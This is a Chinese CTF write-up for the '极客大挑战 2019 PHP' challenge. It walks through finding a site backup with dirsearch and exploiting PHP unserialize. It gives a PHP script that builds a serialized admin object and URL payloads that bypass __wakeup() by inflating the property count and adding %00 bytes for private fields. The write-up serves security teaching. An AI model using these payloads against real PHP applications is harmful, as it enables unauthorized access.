[极客大挑战 2019]PHP1

知识点:1.网站的备份文件

               2.php反序列化

用dirsearch扫一下:

发现一个压缩包,下载下来

发现三个php文件,其中index.php为主页源代码。

打开flag.php并未发现flag:

接着打开class.php:

里面涉及php魔法方法

__construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化;

__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

__destruct 是析构函数,作用与 __construct 正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被⾃动调⽤。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。

根据class.php代码,我们发现要想获取flag,只需username=admin password=100然后我们再执行__destruct()时可以获得flag

于是构造反序列化:

<?php


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);

var_dump(serialize($a))

?>

然后保存,运行,获得序列化的字符串

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在index.php中发现参数为select

 于是我们将参数值给select,但是在反序列化的时候会首先执行__wakeup()魔法方法,这个方法会把我们的username重新赋值,所以我们考虑如何跳过__wakeup(),而去执行__destruct

在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:

?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

接着我们发现,username和password为private声明的变量。因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

 (如上图,<0x00>复制时会丢失)

于是我们再构造payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

获得flag

  • 7
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值